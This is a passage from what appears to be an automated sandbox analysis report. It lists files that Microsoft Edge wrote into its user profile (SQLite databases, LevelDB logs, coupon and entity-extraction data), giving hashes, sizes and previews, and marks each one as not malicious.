SHA-512:	DB03C53D1CC2AE5E1E7882437730454AC27842FE5211A6DBDBBB5131EB0D607DB5D2F26EADB08CD9BAD90FD93D6E04A2C27361FE5BD1B510467D2E9BAEF90FBE
Malicious:	false
Preview:	SQLite format 3......@ ..."..................................................................."..j....................0...{...h.6.~.%...U........................................................................................................................................................................................................................................................................................................................................................................G...##..Utablecollectionscollections.CREATE TABLE collections ( id LONGVARCHAR PRIMARY KEY, date_created REAL NOT NULL, date_modified REAL NOT NULL, title LONGVARCHAR NOT NULL, position INTEGER NOT NULL, is_syncable INTEGER DEFAULT 1, suggestion_url LONGVARCHAR, suggestion_dismissed INTEGER, suggestion_type INTEGER, thumbnail BLOB, is_custom_thumbnail INTEGER NOT NULL DEFAULT 0, tag LONGVARCHAR, thumbnail_url LONGVARCHAR, is_marked_for_deletion INTEGER)..........tableitemsitems.CREATE TABLE items

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.43508159006069336
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBI:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	F5237AED0F897E7619A94843845A3EC3
SHA1:	A0C752C9C28A753CFB051AACE2ADA78A6D1288C3
SHA-256:	D4463972AD7B1582F05C8E17074CE863D45CA625C2C672DB0D37F3AF4C7ACE42
SHA-512:	D3C9718794E455D415D8EDF23B576E0A70356B8D71B8DD374D25B8065FEF608E114E13395B4B54462739882A141F4DBE00E3A370D6E4160504428A849CC893A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635202
Entropy (8bit):	6.015641405985325
Encrypted:	false
SSDEEP:	12288:dmaP2W8JQiCtQ9/IQW8bvw7kFz8PbIfKGnzPjPMK56nQuda:d158g6DikFwPbW3MKwk
MD5:	3E60FDAC028F69F488D6EF5351BED25C
SHA1:	470E51D9455EBD53E982A9BBD87139A1960A0211
SHA-256:	AA2CD346CEC310F39A942459E1EF0974033D7107CC937B25F08BCC721E502575
SHA-512:	F1C57BB5F40721752079019DA68F71E142CFFF0A8BEB846CA24FED61FACFBCB6B3C7132A2AECBDACFEC4526B89EBFA0DE2B17FF13A208804FAF1E12D92811D79
Malicious:	false
Preview:	...m.................DB_VERSION.1..l..................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpH

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.039742049330507
Encrypted:	false
SSDEEP:	3:I6c+G38E28xp4m3rscUSW2xkV3mzh/tlf+nETPxpK2x7LlcYjnBFX27sn:Hc+G38D8xSEsIXxc3mt+n0PxEWNcYjnx
MD5:	44F1A01D330A9CD735218B327319D5FD
SHA1:	4DEF57893A2CAE44DEC8670E0AB010B44D6ADED4
SHA-256:	0065D271D4D977C2D808CA5D83EC466DC68049FF16716C8AF74AE014610DBBA4
SHA-512:	DA1ACBB23F9F02951B2AE2EFCEA79FFCD6420EDF17953A18B897E19AE528658AA90D4A01C386CACB876E5D9782D7E5C1A138418B952F2F41E9B4AA1BEB8449F4
Malicious:	false
Preview:	....9................BLOOM_FILTER_EXPIRY_TIME:.1734520417.875720.8~.G................BLOOM_FILTER_LAST_MODIFIED:.Mon, 16 Dec 2024 22:29:03 GMT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635183
Entropy (8bit):	6.0150488963174
Encrypted:	false
SSDEEP:	12288:9maY2WDJQKCtP9/IQf8bvwrkHtePbPcKGncPjRQK5VnMNdo:91JPg7DgkHsPbSkQKK2
MD5:	1BDC22829D6B48F827D4A497D9211035
SHA1:	291802612BE131696D0CF8294F402AC4C357A377
SHA-256:	99D1BFA88799B53E1AD9EF6ABB1CF9985E8EA687632A63871844C65128CE6750
SHA-512:	81B9043179E4B02D3CCEAADB39002261396A3F21E8D509B4C619CE4D263DAB298DB52B7419BB1E94338232AA2EE1D16C6E91EE62791A66B5068692D82C5D6546
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpHqRCZMFqXmSG6Abc4z8bIucyyzoYTXsuB6aaXR1pNRBl9

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	516
Entropy (8bit):	5.2396920213553715
Encrypted:	false
SSDEEP:	12:73pvVaYebn9GFUt8OF/+OX5OaYebn95Z9pKBQf0T4fd+KOBh:7lVaYeb9ig8OpJOaYeb9zLKBBTTBh
MD5:	C37789593567AA06036219E2A397CE1F
SHA1:	5745F892E228162AD7C2D7253EB36DC69C3FE47B
SHA-256:	1DA71C0A0BA6550CFC0FFC4168197B7D4C808E7E9291D68EF686D99FAE2CA39E
SHA-512:	EFB56486464A6AA4548D5A79D76FF500953BFA9A6A1F8E7A0229CA09D829C4402B2203FD3704AF781D9F0B21540EC105D1BA8DAD8CE9050292148E9CAC0D0D2D
Malicious:	false
Preview:	2024/12/17-06:13:23.357 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/17-06:13:23.358 1bb0 Recovering log #3.2024/12/17-06:13:23.358 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/17-06:13:37.902 1fe0 Level-0 table #5: started.2024/12/17-06:13:37.930 1fe0 Level-0 table #5: 635183 bytes OK.2024/12/17-06:13:37.932 1fe0 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	516
Entropy (8bit):	5.2396920213553715
Encrypted:	false
SSDEEP:	12:73pvVaYebn9GFUt8OF/+OX5OaYebn95Z9pKBQf0T4fd+KOBh:7lVaYeb9ig8OpJOaYeb9zLKBBTTBh
MD5:	C37789593567AA06036219E2A397CE1F
SHA1:	5745F892E228162AD7C2D7253EB36DC69C3FE47B
SHA-256:	1DA71C0A0BA6550CFC0FFC4168197B7D4C808E7E9291D68EF686D99FAE2CA39E
SHA-512:	EFB56486464A6AA4548D5A79D76FF500953BFA9A6A1F8E7A0229CA09D829C4402B2203FD3704AF781D9F0B21540EC105D1BA8DAD8CE9050292148E9CAC0D0D2D
Malicious:	false
Preview:	2024/12/17-06:13:23.357 1bb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/17-06:13:23.358 1bb0 Recovering log #3.2024/12/17-06:13:23.358 1bb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/17-06:13:37.902 1fe0 Level-0 table #5: started.2024/12/17-06:13:37.930 1fe0 Level-0 table #5: 635183 bytes OK.2024/12/17-06:13:37.932 1fe0 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.292074956419405
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjhWuTmiPjSpR8xFxN3erkEtl:scoBY7jhbqEeKxFDkHl
MD5:	61E3428AD80227FE561420625122C344
SHA1:	89103A5C787C55B5D3C456E3D12E6B7BA2C917C6
SHA-256:	E65CA2F580D35A765B7FBFC27268A9E3CC188778FDD00DD0992C742942FA1047
SHA-512:	9B801C8E7D210671420C49040C6FC6F19F10AF9848D9A04BC3457C88D17031975ADBB6E844B94ACED9333961D7179F47D637058ADE73B0E083C0508B64D14FE9
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator..........7...............&.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130472115673626
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j+PLWp5PLJmL:TO8D4jJ/6Up+yPLGPLe
MD5:	609416B6441B3B285E32C5EE4FF8A1FB
SHA1:	F457F9BA8896FF8D2B06C728A96C081CE49882E4
SHA-256:	FCC0C59A9D8F1F756775B65FE1CCD31AB3F4DE3DDDDFC6AFC506B3CD0CFCA5AF
SHA-512:	9FC047F371722CE3366D29E7529AA494DACCFAAD6D6B6048D047951E28F1DA75E4FEDE9D8BFF499CB60CF14E69200EFF070C6B88AF1A08CF1B29F3B70F21FDA3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354121798049864
Encrypted:	false
SSDEEP:	6144:QA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:QFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2134154DB9943A382F78C0CA69612AFD
SHA1:	4F6695A7280A6D1EC73B88E88C8ADAE32865FF54
SHA-256:	5E953AE5E0A12E92BBBA363109909F8105DC61B092060C0B9E2DDB95DD06F26A
SHA-512:	AD2A9CB52638A8A9685A200EF975C156587DC0C61E8C5FA0C04F95A87772348BAD39EFFA9268A64B4DA5CAE77C4366E25D3DBECA074F880B5693B5D777230373
Malicious:	false
Preview:	...m.................DB_VERSION.1H.%.q...............&QUERY_TIMESTAMP:domains_config_gz2...13378907611958923..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.159669278351523
Encrypted:	false
SSDEEP:	6:7pmohq1N723oH+Tcwtk2WwnvB2KLlppmkW9+q2PN723oH+Tcwtk2WwnvIFUv:7EaYebkxwnvFLTDvVaYebkxwnQFUv
MD5:	B28CAFD825803300224C6E71EE59EADE
SHA1:	62080E394FB33AB1959DA6712C76E64E4EEF50AA
SHA-256:	069166A69D11C5C5899E4881E509B28BD3DF2C0CF09F5972D442F000FB9F3A95
SHA-512:	2CB07BD5F0DBAD21DEC5FEC4E9DF58AE8AF6B269D2F047DD0568B939DAFFCB5B8BB77DFA053E789AEFF97F05F1933A9C53B31FB1BF584DFC20088BEFADCDA2B4
Malicious:	false
Preview:	2024/12/17-06:13:29.005 2218 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/17-06:13:29.025 2218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246070978554885
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rg:C1gAg1zfvI
MD5:	7ACF6A41802BF09DB7931F188713DA46
SHA1:	61EED84DFD90E303101793210EF56A1B748AC218
SHA-256:	0B8E9D7268D177C06B96EE844258194ACF08858A94F60B206BAF6885F0BE8BEC
SHA-512:	090308C1FE5A61FF7F74B017A2C05665868B8B261A784C4208367CEDF30BCBD49B505532469D9042095BC9B538EAEBDF16FDA68A74D9FDCFAE2D9F329DC6092E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.169476236251198
Encrypted:	false
SSDEEP:	6:7pI4SQyq2PN723oH+Tcwt8aPrqIFUt8OpI14G1Zmw+OpI14QRkwON723oH+Tcwtc:7ZSQyvVaYebL3FUt8ODg/+ODQR5OaYeo
MD5:	E2C4511D460A6CE8A2EE3EB7FBA47F62
SHA1:	9E4BE648DA3D3BBD42C27114AEF9844B47432187
SHA-256:	0D2BB5918072B406084CB6144C1EAA12C8A82972C7F5003AB2B932F16C72AFF2
SHA-512:	F5A6E65A35149C282E17915C67F501CBCCC42F275A401B5E0A14C40027E0980519A20D5361A42AE4CB1E2D560A9CA22A347780DF60C8ADC0D017F095F4D158F3
Malicious:	false
Preview:	2024/12/17-06:13:23.407 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/17-06:13:23.408 1690 Recovering log #3.2024/12/17-06:13:23.408 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.169476236251198
Encrypted:	false
SSDEEP:	6:7pI4SQyq2PN723oH+Tcwt8aPrqIFUt8OpI14G1Zmw+OpI14QRkwON723oH+Tcwtc:7ZSQyvVaYebL3FUt8ODg/+ODQR5OaYeo
MD5:	E2C4511D460A6CE8A2EE3EB7FBA47F62
SHA1:	9E4BE648DA3D3BBD42C27114AEF9844B47432187
SHA-256:	0D2BB5918072B406084CB6144C1EAA12C8A82972C7F5003AB2B932F16C72AFF2
SHA-512:	F5A6E65A35149C282E17915C67F501CBCCC42F275A401B5E0A14C40027E0980519A20D5361A42AE4CB1E2D560A9CA22A347780DF60C8ADC0D017F095F4D158F3
Malicious:	false
Preview:	2024/12/17-06:13:23.407 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/17-06:13:23.408 1690 Recovering log #3.2024/12/17-06:13:23.408 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.148607083628971
Encrypted:	false
SSDEEP:	6:7pIinQyq2PN723oH+Tcwt865IFUt8OpIinG1Zmw+OpIinQRkwON723oH+Tcwt86L:79QyvVaYeb/WFUt8O9g/+O9QR5OaYebD
MD5:	A08F6A61D159B77C88E37090F65C1C8B
SHA1:	195E820BF32967DAC6A507B8821313B377681C78
SHA-256:	5F8FF1B6B467952088779E2566114AABD0811EE1F30D930E5147CEA54CBF05D9
SHA-512:	8DCB9AFDCAEF1808EE518EE5BBFF260910DF60B71F2F6731D717AE19CE3B6A5BE58A0EB50F194E456D6F890E172900804E2C9E47E245813A003014F7955A20C7
Malicious:	false
Preview:	2024/12/17-06:13:23.420 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/17-06:13:23.420 1690 Recovering log #3.2024/12/17-06:13:23.420 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.148607083628971
Encrypted:	false
SSDEEP:	6:7pIinQyq2PN723oH+Tcwt865IFUt8OpIinG1Zmw+OpIinQRkwON723oH+Tcwt86L:79QyvVaYeb/WFUt8O9g/+O9QR5OaYebD
MD5:	A08F6A61D159B77C88E37090F65C1C8B
SHA1:	195E820BF32967DAC6A507B8821313B377681C78
SHA-256:	5F8FF1B6B467952088779E2566114AABD0811EE1F30D930E5147CEA54CBF05D9
